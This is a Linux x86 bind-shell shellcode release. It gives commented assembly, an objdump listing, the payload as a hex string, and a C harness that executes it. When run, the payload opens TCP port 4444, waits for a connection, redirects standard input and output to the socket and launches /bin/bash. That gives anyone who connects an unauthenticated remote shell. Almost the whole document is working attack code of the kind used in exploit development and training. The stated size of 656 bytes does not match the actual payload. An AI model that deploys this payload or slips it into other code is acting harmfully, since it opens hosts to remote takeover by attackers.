// Title: Linux X86 Bind TCP:4444 (656 bytes)
// Author: Brandon Dennis
// Contact: bdennis@mail.hodges.edu
// Date: 5/24/2016
// ASM Source: https://github.com/slyth11907/x86-ASM-Linux-Intel/blob/master/Code-Examples/ShellCode/execve-stack-bind.asm
/*
; Filename: execve-stack-bind.asm
; Author: Brandon Dennis
; Date: 5/24/2016
; execve
; execve takes 3 arguments
; 1: filename: EX /bin/bash, 0x0
; 2: arguments for the executable(1st arg should be the filename then 2nd arg should be null or 0x0000)
; 3: envp is used for env settings, we can leave this as null: EX 0x0000
; Python code to get the instruction in HEX of the string reversed to place into the stack
; python -c 'string="//etc/shadow";splitNum=8;print "\nLength: %s" % len(string[::-1]);string=string[::-1].encode("hex"); \
; string=["push 0x"+str(string[i:i+splitNum]) for i in range(0, len(string), splitNum)]; \
; print "Hex List:\n"; print("\n".join(h for h in string))'
; Port: 4444 (\x5c\x11) in shellcode
; ShellCode---
; "\x31\xc0\x50\x66\xb8\x66\x00\x31\xdb\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80
; \x89\xc2\x31\xc0\x66\xb8\x66\x00\x31\xdb\xb3\x14\x6a\x04\x54\x6a\x02\x6a\x01
; \x52\x89\xe1\xcd\x80\x31\xc0\x66\xb8\x66\x00\x31\xdb\x53\xb3\x02\x66\x68\x11
; \x5c\x66\x6a\x02\x89\xe1\x6a\x16\x51\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53
; \x66\xb8\x66\x00\xb3\x04\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53\x53\x66\xb8
; \x66\x00\xb3\x05\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\x31\xc9\xb0\x3f\x89\xd3
; \xcd\x80\x31\xc0\x31\xc9\xb0\x3f\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd
; \x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f
; \x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
; ShellCode---
; Bytes: 656
; Tested on: Linux 3.13.0-32, Ubuntu 12.04.5 LTS, X86
global _start
section .text
_start:
; Create the socket FD
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor eax, eax
push eax ; this is for our first arg as it is needing be be 0 for IPPROTO_IP
mov ax, 102 ; moves syscall for socketcall into ax
xor ebx, ebx ; 0's out ebx
mov bl, 0x1 ; setting the socketcall type to sys_socket
push 0x1 ; we now pass 1 onto the stack for SOCK_STREAM
push 0x2 ; we now pass 2 onto the stack for AF_INET
mov ecx, esp; this moves the memory location of our args to ecx
int 0x80 ; execute the syscall socketcall
mov edx, eax ; This allows us to save the FD from the socket
; This avoids SIGSEGV when trying to reconnect
; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)
xor eax, eax; 0's our eax
mov ax, 102; moves syscall for socketcall into ax
xor ebx, ebx; 0's out ebx
mov bl, 0x14; moves the sys_setsocketopt as param 1
push 0x4; push the sizeof onto the stack
push esp; now we push the memory location of param 1(sizeof) onto the stack
push 0x2; we now set the SO_REUSEADDR onto the stack
push 0x1; we now set the SOL_SOCKET onto the stack
push edx; this pushes our previous socket FD onto the stack
mov ecx, esp; this pushes the memory location of our args into ecx
int 0x80; execute the syscall socketcall
; We now setup the bind
; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)
xor eax, eax; 0's out eax
mov ax, 102; moves syscall for socketcall into ax
xor ebx, ebx; 0's out ebx
push ebx; this pushes 0 onto the stack for our first arg of INADDR_ANY for our local host
mov bl, 0x2; set the socketcall type to sys_bind
push WORD 0x5c11; we now set the port to bind on, in reverse order is 4444
push WORD 0x2; we now push the arg AF_INET onto the stack
mov ecx, esp; we now grab our memeory location to our args
push 0x16; we now set the sockaddr size onto the stack
push ecx; we now push our memory location of our previous args onto the stack
push edx; we push our current socket FD onto the stack
mov ecx, esp; we now get our new socket FD
int 0x80; execute the syscall socketcall
; We now need to setup a passive socket to wait for the new connection
; listen(sockfd, 0);
xor eax, eax; 0's our eax
xor ebx, ebx; 0's out ebx
push ebx; this pushes our 2nd arg for connection que size to 0
mov ax, 102; moves syscall for socketcall into ax
mov bl, 0x4; we now set the socketcall type to sys_listen
push edx; we now push our socket FD onto the stack
mov ecx, esp; we now move the memory location of our args list into ecx
int 0x80; execute the syscall for socketcall with the listen type
; We now accept the connection when it comes in
; accept(sockfd, NULL, NULL)
xor eax, eax; 0's our eax
xor ebx, ebx; 0's out ebx
push ebx; we add these 2 0's since we dont need information on the client connecting to us
push ebx
mov ax, 102; moves syscall for socketcall int ax
mov bl, 0x5; we set the socketcall type to sys_accept
push edx; we push our Socket FD onto the stack
mov ecx, esp; we grab the memeory location of our args and move it to ecx
int 0x80; execute the syscall socketcall
mov edx, eax; this saves the Socket FD for the client
; We can now use dup2 to create all 3 of our std's, in/out/err so that our shellhas access to it over the socket
; dup2(clientfd)
xor eax, eax; 0's out eax
xor ecx, ecx; 0's out ecx since our first std FD is in so its 0
mov al, 63; we now move the syscall for dup2 into al
mov ebx, edx; we now move the client socket FD into ebx
int 0x80; execute the dup2 syscall
xor eax, eax; 0's out the eax reg due to any return's happening
xor ecx, ecx; 0's out ecx
mov al, 63; this is the syscall for dup2
mov cl, 0x1; we now set cl to the FD of stdout
int 0x80; execut the dup2 syscall
xor eax, eax; 0's out eax
mov al, 63; moves the dup2 syscall
mov cl, 0x2; we now set cl to the stderr FD
int 0x80; execute the dup2 syscall
; We can now execute our shell in /bin/bash
xor eax, eax ; we first need our nulls
push eax ; this will push a drowd of nulls onto the stack
; this section of pushes are the string ////bin/bash from our pyhton 1 liner above
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp ; this moves the memory address of esp(pointing to our string & nulls)
; from the stack into ebx where execve is expecting the name of the application + a null
push eax ; this pushes another null onto the stack
mov edx, esp ; this now gets the memory address of the nulls we just pushed onto the stack into edx, this is for envp so it can just be null
push ebx ; this pushes the memory address of our string onto the stack
mov ecx, esp ; this moves the address of our string from the stack to ecx
mov al, 0xb ; this will load the syscall # 11
int 0x80 ; execute the system call
*/
// Python code to get the instruction in HEX of the string reversed to place into the stack
// python -c 'string="//etc/shadow";splitNum=8;print "\nLength: %s" % len(string[::-1]);string=string[::-1].encode("hex"); \
// string=["push 0x"+str(string[i:i+splitNum]) for i in range(0, len(string), splitNum)]; \
// print "Hex List:\n"; print("\n".join(h for h in string))'
// Port: 4444 (\x5c\x11) in shellcode
// ShellCode---
// Bytes: 656
// Tested on: Linux 3.13.0-32, Ubuntu 12.04.5 LTS, X86
//------------- OBJDUMP -------------
//execve-stack-bind: file format elf32-i386
//Disassembly of section .text:
//8048060 <_start>:
//8048060: 31 c0 xor eax,eax
//8048062: 50 push eax
//8048063: 66 b8 66 00 mov ax,0x66
//8048067: 31 db xor ebx,ebx
//8048069: b3 01 mov bl,0x1
//804806b: 6a 01 push 0x1
//804806d: 6a 02 push 0x2
//804806f: 89 e1 mov ecx,esp
//8048071: cd 80 int 0x80
//8048073: 89 c2 mov edx,eax
//8048075: 31 c0 xor eax,eax
//8048077: 66 b8 66 00 mov ax,0x66
//804807b: 31 db xor ebx,ebx
//804807d: b3 14 mov bl,0x14
//804807f: 6a 04 push 0x4
//8048081: 54 push esp
//8048082: 6a 02 push 0x2
//8048084: 6a 01 push 0x1
//8048086: 52 push edx
//8048087: 89 e1 mov ecx,esp
//8048089: cd 80 int 0x80
//804808b: 31 c0 xor eax,eax
//804808d: 66 b8 66 00 mov ax,0x66
//8048091: 31 db xor ebx,ebx
//8048093: 53 push ebx
//8048094: b3 02 mov bl,0x2
//8048096: 66 68 11 5c pushw 0x5c11
//804809a: 66 6a 02 pushw 0x2
//804809d: 89 e1 mov ecx,esp
//804809f: 6a 16 push 0x16
//80480a1: 51 push ecx
//80480a2: 52 push edx
//80480a3: 89 e1 mov ecx,esp
//80480a5: cd 80 int 0x80
//80480a7: 31 c0 xor eax,eax
//80480a9: 31 db xor ebx,ebx
//80480ab: 53 push ebx
//80480ac: 66 b8 66 00 mov ax,0x66
//80480b0: b3 04 mov bl,0x4
//80480b2: 52 push edx
//80480b3: 89 e1 mov ecx,esp
//80480b5: cd 80 int 0x80
//80480b7: 31 c0 xor eax,eax
//80480b9: 31 db xor ebx,ebx
//80480bb: 53 push ebx
//80480bc: 53 push ebx
//80480bd: 66 b8 66 00 mov ax,0x66
//80480c1: b3 05 mov bl,0x5
//80480c3: 52 push edx
//80480c4: 89 e1 mov ecx,esp
//80480c6: cd 80 int 0x80
//80480c8: 89 c2 mov edx,eax
//80480ca: 31 c0 xor eax,eax
//80480cc: 31 c9 xor ecx,ecx
//80480ce: b0 3f mov al,0x3f
//80480d0: 89 d3 mov ebx,edx
//80480d2: cd 80 int 0x80
//80480d4: 31 c0 xor eax,eax
//80480d6: 31 c9 xor ecx,ecx
//80480d8: b0 3f mov al,0x3f
//80480da: b1 01 mov cl,0x1
//80480dc: cd 80 int 0x80
//80480de: 31 c0 xor eax,eax
//80480e0: b0 3f mov al,0x3f
//80480e2: b1 02 mov cl,0x2
//80480e4: cd 80 int 0x80
//80480e6: 31 c0 xor eax,eax
//80480e8: 50 push eax
//80480e9: 68 62 61 73 68 push 0x68736162
//80480ee: 68 62 69 6e 2f push 0x2f6e6962
//80480f3: 68 2f 2f 2f 2f push 0x2f2f2f2f
//80480f8: 89 e3 mov ebx,esp
//80480fa: 50 push eax
//80480fb: 89 e2 mov edx,esp
//80480fd: 53 push ebx
//80480fe: 89 e1 mov ecx,esp
//8048100: b0 0b mov al,0xb
//8048102: cd 80 int 0x80
//------------- OBJDUMP -------------
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x66\xb8\x66\x00\x31\xdb\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x89\xc2\x31\xc0\x66\xb8\x66\x00\x31\xdb\xb3\x14\x6a\x04\x54\x6a\x02\x6a\x01"
"\x52\x89\xe1\xcd\x80\x31\xc0\x66\xb8\x66\x00\x31\xdb\x53\xb3\x02\x66\x68"
"\x11\x5c" //<----PORT #4444
"\x66\x6a\x02\x89\xe1\x6a\x16\x51\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53"
"\x66\xb8\x66\x00\xb3\x04\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53\x53\x66\xb8"
"\x66\x00\xb3\x05\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\x31\xc9\xb0\x3f\x89\xd3"
"\xcd\x80\x31\xc0\x31\xc9\xb0\x3f\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd"
"\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}